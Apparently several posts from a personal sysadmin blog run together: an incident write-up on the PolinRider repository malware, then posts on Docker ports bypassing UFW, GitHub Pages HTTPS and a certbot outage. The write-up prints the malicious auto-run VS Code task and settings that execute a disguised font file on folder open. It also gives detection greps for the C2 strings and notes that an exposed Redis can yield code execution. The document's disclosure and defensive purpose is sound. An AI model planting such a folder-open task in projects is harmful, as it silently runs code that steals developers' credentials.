TL;DR — If you open cloned repositories in VS Code or Cursor: run Tasks: Manage Automatic Tasks → Disallow, grep your repos for /0x/cls and for .woff2 files that do not start with the bytes wOF2, and check every .vscode/tasks.json for "runOn": "folderOpen". Scan every branch, not just main.

How I found it

I was auditing my portfolio site's git history for an unrelated scroll bug when git show --stat showed something odd: a commit that added sixteen Font Awesome files, fifteen listed as Bin and one, public/fonts/fa-solid-400.woff2, listed as 1 +. A font file that git thinks is a one-line text file.

It was one line of obfuscated Node.js, preceded by several hundred spaces so that it looks empty in an editor. And the name is subtly wrong: Font Awesome 5's solid face is fa-solid-900. The fifteen real fonts around it are camouflage.

Two more files completed the chain:

// .vscode/tasks.json  (abridged)
{
  "label": "eslint-check",
  "type": "shell",
  "command": "node ./public/fonts/fa-solid-400.woff2",
  "runOptions": { "runOn": "folderOpen" },
  "presentation": { "reveal": "never" },
  "hide": true
}

// .vscode/settings.json
{
  "task.allowAutomaticTasks": true,
  "terminal.integrated.hideOnStartup": "always"
}

runOn: folderOpen makes VS Code run the task when the folder is opened. task.allowAutomaticTasks removes the confirmation prompt. reveal: never and hide: true keep it out of the terminal and the task list. No click, no build, no npm install — opening the folder is the exploit.

What the payload does

Without executing anything, reading the de-obfuscated code was enough: it resolves its command-and-control address from a blockchain transaction (the "EtherHiding" technique — public RPC endpoints, so the traffic looks like ordinary web requests and the operators can move servers without touching the code), downloads a second stage, evals it, and re-spawns itself detached so it survives the editor closing. Public analyses of the second stage describe an infostealer that goes after browser passwords and cookies, password-manager extensions, crypto wallets, and — the part that mattered for me — git credentials, GitHub CLI and GitHub Desktop tokens, and the OS credential store.

The campaign is tracked as PolinRider (with links to TasksJacker and the DPRK "Contagious Interview" operation). OpenSourceMalware counted 1,951 compromised public repositories from 1,047 owners as of April 2026 — I was one of about a thousand, not a target.

The part that fooled me: commits that were never "added"

The malware never arrives in a commit of its own. It arrives in a rewrite of one of your legitimate commits: same message, same author date, same commit date to the second. In my history, the only differences between the real commit and its evil twin were the committer name (Raed instead of Raed Ouiriemmi) and the committer time zone (−0700, +0300… I am in UTC+1). git diff between the two, restricted to the site's files, was empty. It is designed to pass a quick review.

The tool that does this is a published indicator of compromise called temp_auto_push.bat: it reads the last commit's metadata, changes the system clock to the original timestamp, amends the commit with the payload, restores the clock and force-pushes. It also added a .gitignore entry for itself, so its future edits never showed in git status.

Which raises the real question — who pushed? Personal-account security logs on GitHub do not record pushes, and they do not export IP addresses. What does work: the repository activity endpoint, GET /repos/{owner}/{repo}/activity, readable with any read access. It records the actor, the server-side timestamp, before → after SHAs and whether it was a force-push. That is how I established that the pushes came from a third machine using my stolen credentials, not from my own PC.

Three camouflages, one payload

Scanning by file name found three infected repositories. Scanning by content found eight. The same payload hides in three ways:

1. the fake .woff2 plus the folderOpen task — the only variant that runs on its own;
2. a ~9 KB line appended after the closing ]; of eslint.config.js, after a long run of whitespace;
3. appended to postcss.config.mjs / postcss.config.js / next.config.ts — executed on every build by the framework.

The signatures that held up:

# obfuscated C2 path + RPC provider + escaped "http"
grep -rlaE '/0x/cls|/0x/ls|TronGrid|u0068.{0,2}u0074.{0,2}u0074.{0,2}u0070' .

# a "font" whose magic bytes are wrong (real ones start with wOF2 / wOFF / OTTO)
find . -name '*.woff2' -exec sh -c 'head -c4 "$1" | grep -q wOF2 || echo "FAKE: $1"' _ {} \;

# auto-running VS Code tasks
grep -rl '"runOn": *"folderOpen"' --include=tasks.json .

Two things I got wrong first:

• windowsHide is a terrible marker. It is a legitimate Node option; used alone it flagged sixty files in VS Code Server, Playwright and Copilot. The discriminating string is the C2 path.
• Counting occurrences discriminates nothing. The payload is minified onto one line, so a real infection contains /0x/cls exactly once — the same as a note that merely mentions it. The right test is does this file contain executable code around the string, e.g. unref() and windowsHide within a few hundred bytes of the URL.

Cleanup, and the four mistakes

The obvious part: rewrite history to drop the files, and force-push.

git filter-branch --force --prune-empty \
  --index-filter 'git rm -r --cached --ignore-unmatch .vscode public' \
  -- --all

Check the result by content, not by trust: the final tree must be byte-identical to the last clean commit, and no blob in the repository may match the signature. Then the mistakes.

1. Old commits stay downloadable. After a force-push, the removed commits are unreachable — but GitHub does not garbage-collect immediately, and raw.githubusercontent.com/<owner>/<repo>/<old-sha>/public/fonts/... still answered 200 for weeks. Anyone with the SHA could still fetch the payload from my namespace. For repositories that can be recreated, delete and recreate the repository; for the one serving GitHub Pages with a custom domain, I had to ask GitHub Support for a garbage collection.

2. Your local clone keeps the payload too. git gc --prune=now did nothing, because the old commit was still reachable from three places I had not thought of: refs/original/ (filter-branch's backup), the remote-tracking ref refs/remotes/origin/main (which may live in packed-refs, not as a loose file), and the reflogs.

rm -rf .git/refs/original .git/ORIG_HEAD .git/FETCH_HEAD
git update-ref refs/remotes/origin/main <clean-sha>
git reflog expire --expire=now --expire-unreachable=now --all
git gc --prune=now
git cat-file -e <payload-blob-sha> && echo STILL THERE   # must fail

Verify with git cat-file -e, not with the size of .git.

3. grep -r cannot see inside .git. Objects are zlib-compressed. To scan a repository's object database you iterate git cat-file --batch-all-objects; to scan a .bundle you have to clone it first. My "clean" declaration was wrong twice for this reason — the third scan found the payload in nine throwaway clones I had made during the investigation.

4. Branches. One repository had four branches. I cleaned main and declared victory; the payload sat on the other three for two more days. filter-branch -- --all, then re-scan every branch.

What actually stops it

• VS Code: Tasks: Manage Automatic Tasks → Disallow, and keep Workspace Trust on. A repository's settings.json can ask for automatic tasks; your user setting decides.
• Git hosting: a ruleset that blocks force-pushes on every repository. The entire incident, on every repository involved, was a sequence of force-pushes that nothing prevented.
• Credentials: treat every secret the infected machine could read as stolen — rotate from a different device: passwords, PATs, SSH keys, OAuth grants, and check for deploy keys, which are per-repository and invisible in your account settings. 2FA was on and it changed nothing: the attacker used an already-valid token, and 2FA only guards logins.
• Monitoring: I now run a read-only watcher that records every branch SHA of every repository every 30 minutes, and scans changed repositories by content. A force-push or a branch that moves backwards is a Telegram message within the half hour.
• Take-home tests and "starter" repositories are the delivery vehicle. Open them in a container or a VM, never in your daily editor with your daily credentials.

This is also why my GitHub repositories are private for now: the affected histories are being rewritten before anything goes public again. Until then, the code of any project on this site is available on request.

Sources

• OpenSourceMalware — PolinRider IoCs and campaign tracking
• OpenSourceMalware — "PolinRider rides again"
• JFrog Research — hijacked npm packages and VS Code tasks with blockchain C2
• VS Code docs — Workspace Trust

$ sudo ufw status
Status: active
To         Action   From
--         ------   ----
22/tcp     ALLOW    Anywhere
80/tcp     ALLOW    Anywhere
443/tcp    ALLOW    Anywhere

Everything else should be dropped. Now the containers:

$ docker ps --format '{{.Names}}\t{{.Ports}}'
jobsearch-postgres   0.0.0.0:5544->5432/tcp
jobsearch-redis      0.0.0.0:6390->6379/tcp
web-admin            0.0.0.0:80->80/tcp

From another machine, nc -vz <server> 5544 connects. UFW never saw it.

Why UFW loses

UFW is a front end for iptables that works on the INPUT chain — traffic addressed to the host itself. A published container port is not traffic to the host: Docker adds a DNAT rule in the nat table's PREROUTING chain that rewrites the destination to the container's address, and the packet then flows through the FORWARD chain, where Docker manages its own rules and puts them before anything UFW installs. Docker's documentation is explicit about it: rules in INPUT do not apply to published ports, and the supported place for your own filtering is the DOCKER-USER chain.

So ufw deny 5544 is a rule for a packet that never reaches the chain the rule lives in.

Check your own server (10 seconds)

# 1. anything published on all interfaces?
docker ps --format '{{.Names}}\t{{.Ports}}' | grep '0.0.0.0'

# 2. what does the DOCKER-USER chain say? (empty = "RETURN", i.e. allow everything)
sudo iptables -L DOCKER-USER -n -v --line-numbers

# 3. the only test that counts: from OUTSIDE the box
nc -vz your.server.ip 5544

ss -tlnp on the host is not enough: a published port shows up as docker-proxy listening on 0.0.0.0, which looks like any other service and tells you nothing about what the firewall does with it.

In my case the mechanism was confirmed by an nginx container publishing port 80: its access log held 135,000 requests from the internet over four months. Port 80 is meant to be public, but it proved the path — and the same path applied to the database and the cache.

Fix 1 — don't publish on 0.0.0.0 (do this first)

A database or a cache should almost never have a public port at all. Bind to loopback:

# docker-compose.yml
services:
  postgres:
    ports:
      - "127.0.0.1:5544:5432"
  redis:
    ports:
      - "127.0.0.1:6390:6379"

Or drop the ports: entry entirely and let the other containers reach it over the compose network by service name — that is what the network is for. Other tools that ship with an open port by default deserve the same treatment: Ollama listens on 0.0.0.0:11434 with no authentication unless you set OLLAMA_HOST=127.0.0.1:11434.

Fix 2 — filter in DOCKER-USER

For ports that must be published but not to the whole world, add rules to the chain Docker leaves for you. ext_if is your public interface (ip route | grep default):

# allow an office / VPN range, drop everyone else, for every published port
sudo iptables -I DOCKER-USER -i eth0 ! -s 203.0.113.0/24 -m conntrack --ctstate NEW -j DROP

# or per port
sudo iptables -I DOCKER-USER -i eth0 -p tcp --dport 6390 -m conntrack --ctstate NEW -j DROP

Rules in DOCKER-USER are evaluated before Docker's own, and Docker never flushes the chain. They are not persistent by themselves: put them in /etc/ufw/after.rules (UFW loads it) or use iptables-persistent.

Fix 3 — ufw-docker

If you want to keep thinking in UFW terms, ufw-docker installs a DOCKER-USER block in /etc/ufw/after.rules and gives you commands such as ufw-docker allow web-admin 80/tcp. It is the least surprising option on a server where several people run ufw allow and expect it to mean something.

What I changed

1. The two containers were already stopped when I found this. Before they come back, their compose file publishes on 127.0.0.1 — or not at all, since only other containers ever talk to them.
2. The only publication left on 0.0.0.0 is nginx, which is public by design.
3. Still on the list: Ollama and my development backend run on the host, not in Docker, so UFW does protect them today — but binding them to loopback removes the dependency on a firewall rule being right.
4. Every audit checklist I use now starts with docker ps and the DOCKER-USER chain, before ufw status — because ufw status is the one that lies.

The uncomfortable footnote: a Redis without a password reachable from the internet is not "some data exposure". Redis can be told to write its dump file anywhere — ~/.ssh/authorized_keys, a cron directory — which is remote code execution. Check the six-week window in your logs, not just the fix.

Settings → Pages shows your custom domain with a green check, but Enforce HTTPS is greyed out. Sometimes with "certificate is being provisioned", sometimes with nothing. Meanwhile:

$ curl -sI http://example.me/ | head -1
HTTP/1.1 200 OK          # served in clear, no redirect
$ curl -sI https://example.me/ | head -1
                         # TLS error, or a certificate for the wrong name

Read the real state from the API

The settings page hides the interesting field. The Pages API does not:

gh api repos/OWNER/REPO/pages --jq '{status, cname, https_enforced, cert: .https_certificate}'

https_certificate.state is what you want. The values you will meet:

dns_changed is the one that looped for me: every time a record changed, the process restarted, and one record kept "changing".

The DNS that actually works

GitHub's documented setup is short, and every deviation costs a certificate cycle:

example.me.        A      185.199.108.153
example.me.        A      185.199.109.153
example.me.        A      185.199.110.153
example.me.        A      185.199.111.153
www.example.me.    CNAME  OWNER.github.io.      # NOT example.me, NOT an A record

My mistake: www was a CNAME to the apex (example.me) instead of OWNER.github.io. Both resolve to the same addresses, so the site worked on www — but GitHub's certificate request lists both names, its verifier treats a www that does not point at OWNER.github.io as "changed", and the request restarts. The certificate that finally got issued after the fix covers both names:

$ echo | openssl s_client -connect example.me:443 -servername example.me 2>/dev/null \
  | openssl x509 -noout -ext subjectAltName
X509v3 Subject Alternative Name:
    DNS:example.me, DNS:www.example.me

Two more records to check:

• CAA. If your zone has any CAA record, it must include 0 issue "letsencrypt.org", or issuance fails with a polite errored. No CAA record at all is fine. (Adding one that allows only Let's Encrypt is a cheap hardening step once everything works.)
• No AAAA records pointing anywhere else, and no leftover A record from the previous host — the verifier checks all of them.

Verify from outside your own resolver, because your cache will lie to you for the whole TTL:

dig +short example.me A @8.8.8.8
dig +short www.example.me CNAME @8.8.8.8
dig +short example.me CAA @8.8.8.8

Unsticking a certificate that is "being provisioned" forever

If DNS is right and the state has been authorization_pending for more than a day, GitHub's job is stuck, not yours. What worked for me: in Settings → Pages, remove the custom domain, save, add it back, save. That discards the stuck request and starts a fresh one; with correct DNS the state went to issued within an hour. (Doing the same through the API did not help — the UI path seems to reset more.)

Then wait for the checkbox. It becomes clickable shortly after issued, not at the same moment. Tick it, and within about five minutes:

$ curl -sI http://example.me/ | grep -i '^location\|^HTTP'
HTTP/1.1 301 Moved Permanently
location: https://example.me/

Check the whole matrix, not just the apex: http:// and https:// for the apex, www, and OWNER.github.io, plus any sub-pages. The OWNER.github.io redirect in particular kept pointing at http:// until the checkbox was on.

What the checkbox does not give you

• HSTS. Pages does not send Strict-Transport-Security, so the first request of a new visitor can still go out in clear. If you put Cloudflare in front, enable HSTS there; otherwise accept it.
• Security headers in general — no CSP, no X-Frame-Options. A <meta http-equiv="Content-Security-Policy"> in the HTML covers most of the CSP value; clickjacking protection cannot be done from a meta tag.
• Renewal visibility. Certificates auto-renew, but nothing tells you if renewal fails. A weekly cron on any machine you own is enough:

echo | openssl s_client -connect example.me:443 -servername example.me 2>/dev/null \
  | openssl x509 -noout -enddate

Bonus: "Page build failed" with no reason

Unrelated to HTTPS but found the same week: the legacy Pages build failed five times in a row on a commit that added three PNG icons generated with Python. Valid PNGs, no Jekyll, .nojekyll present. Removing the three files fixed it; the same generator's apple-touch-icon.png built fine. I never found the rule — but I did find that a build can also fail transiently for no reason at all, so before bisecting your commit, re-trigger the build and see if it goes green:

gh api -X POST repos/OWNER/REPO/pages/builds
gh api repos/OWNER/REPO/pages/builds/latest --jq '{status, error: .error.message}'

When a site is "down", test SSH before anything else. If SSH answers, it is not a suspended account or an unpaid bill. Here it answered immediately — uptime 46 days, every container Up. Then:

$ echo | openssl s_client -connect example.com:443 -servername example.com 2>/dev/null \
  | openssl x509 -noout -dates
notBefore=May  6 17:43:12 2026 GMT
notAfter=Aug  4 17:43:11 2026 GMT     # yesterday

Expired. Every browser refuses the connection; to a non-technical person that is indistinguishable from "the server is off".

Why renewal had been failing since May

The timer was doing its job:

$ systemctl list-timers certbot.timer
NEXT                         LEFT     LAST                         PASSED   UNIT
Wed 2026-08-05 21:14:00 UTC  3h left  Wed 2026-08-05 09:02:11 UTC  8h ago   certbot.timer

Twice a day, for three months. And every run failed:

$ sudo certbot renew --dry-run
Failed to renew certificate example.com with error:
Could not bind TCP port 80 because it is already in use by another process.

The renewal configuration told the whole story:

# /etc/letsencrypt/renewal/example.com.conf
[renewalparams]
authenticator = standalone

The certificate had been issued with the standalone authenticator — certbot starts its own web server on port 80 to answer the ACME challenge. That works exactly once: while nginx is stopped, on the day you first set things up. From then on, nginx owns port 80, certbot cannot bind it, and renewal fails silently twice a day. No alert, because nothing was watching the timer's result.

The second trap: two certificate stores

Renewing was not enough. nginx ran in a container, and its /etc/letsencrypt was a Docker volume — a copy taken at setup time — not the host's /etc/letsencrypt that certbot writes to.

$ docker inspect nginx --format '{{range .Mounts}}{{.Name}} -> {{.Destination}}{{"\n"}}{{end}}'
app_certbot_conf -> /etc/letsencrypt
app_certbot_www  -> /var/www/certbot

So a successful renewal on the host would have changed nothing in the browser. Two stores, one updated by certbot, the other served by nginx, and nothing between them.

The fix, with zero downtime

1. Switch to webroot. nginx already had the standard challenge location, pointing at the certbot_www volume:

location /.well-known/acme-challenge/ { root /var/www/certbot; }

So the challenge can be answered through nginx, with nginx running:

sudo certbot certonly -n --webroot \
  -w /var/lib/docker/volumes/app_certbot_www/_data \
  --cert-name example.com -d example.com -d www.example.com -d app.example.com

This both issues a fresh certificate and rewrites the renewal config to authenticator = webroot, which is the real fix: future renewals no longer need port 80.

2. Sync the store nginx reads. Copy archive/ and live/ (both — live/ is symlinks into archive/) into the volume, then reload nginx gracefully:

sudo rsync -a /etc/letsencrypt/archive/example.com/ /var/lib/docker/volumes/app_certbot_conf/_data/archive/example.com/
sudo rsync -a /etc/letsencrypt/live/example.com/    /var/lib/docker/volumes/app_certbot_conf/_data/live/example.com/
sudo docker kill -s HUP nginx      # same as nginx -s reload, no dropped connections

3. Make step 2 automatic. A deploy hook runs after every successful renewal:

# /etc/letsencrypt/renewal-hooks/deploy/sync-nginx-certs.sh   (chmod +x)
#!/bin/sh
set -e
V=/var/lib/docker/volumes/app_certbot_conf/_data
rsync -a /etc/letsencrypt/archive/example.com/ "$V/archive/example.com/"
rsync -a /etc/letsencrypt/live/example.com/    "$V/live/example.com/"
docker kill -s HUP nginx

4. Prove it end to end.

sudo certbot renew --dry-run      # must say "Congratulations, all simulated renewals succeeded"
echo | openssl s_client -connect example.com:443 -servername example.com 2>/dev/null \
  | openssl x509 -noout -enddate  # the NEW date, served by nginx, from outside

The dry run exercises the webroot path and the hook. If it passes, the timer will renew about 30 days before expiry and nginx will pick it up.

What I would have needed to avoid the outage

• Monitor the outcome, not the schedule. certbot.timer being active means nothing. Alert on certbot renew exit status, or simply check the served certificate's expiry from outside every day and alert under 20 days. A five-line cron does it, and it belongs next to the other checks in a monitoring bot.
• One certificate store. Mount the host's /etc/letsencrypt read-only into the nginx container instead of copying it into a volume. Then there is nothing to sync.
• Never issue with standalone on a machine that runs a web server. If you have to (first setup, nginx not yet configured), switch the authenticator to webroot the same day.
• Write the diagnosis down for the client. "The provider disabled the server" was not the first time this symptom got that explanation. A one-line reflex — does SSH work? — separates infrastructure incidents from application incidents in ten seconds.